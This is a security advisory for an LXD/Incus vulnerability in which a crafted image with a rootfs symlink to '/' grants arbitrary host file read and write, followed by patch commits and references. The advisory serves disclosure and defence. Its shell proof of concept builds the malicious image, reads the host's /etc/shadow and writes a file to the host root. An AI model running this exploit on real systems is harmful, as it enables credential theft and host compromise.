GHSA-vghh-5rfx-xhq8 json
LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image
published 2026-11-06 2 d ago modified 2026-11-06 2 d ago
- cvss
- 9.9
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
### Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
### Details
Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.
``` metadata.yaml rootfs/ rootfs -> / ```
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
### PoC
Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.
``` #!/bin/sh set -eu
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__
cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow"
# write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ```
### Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Patch / fix
- go github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1
- github.com/canonical/lxd@190e245 commit
- github.com/canonical/lxd@254b85c commit
- github.com/canonical/lxd@3dbf4ce commit
- github.com/canonical/lxd@4cd6334 commit
- github.com/canonical/lxd@51dc11e commit
- github.com/canonical/lxd@62bcee5 commit
- github.com/canonical/lxd@8751ea6 commit
- github.com/canonical/lxd@b499ec4 commit
- github.com/canonical/lxd@e2aeca6 commit
- github.com/canonical/lxd@edb6d99 commit
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/canonical/lxd | <0.0.0-20260630083100-c5184be310b1 |
0.0.0-20260630083100-c5184be310b1 |
Classification
- Weakness
-
- CWE-73 External Control of File Name or Path
References
-
github.com
/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
web
-
github.com
/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
web
-
github.com
/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7
web
-
github.com
/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
web
-
github.com
/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235
web
-
github.com
/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87
web
-
github.com
/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
web
-
github.com
/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2
web
-
github.com
/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd
web
-
github.com
/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818
web
-
github.com
/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8
web
-
github.com
/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
web
-
nvd.nist.gov
/vuln/detail/CVE-2026-48749
advisory
-
github.com
/canonical/lxd
package
Sources
- GitHub Advisory GHSA-vghh-5rfx-xhq8
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.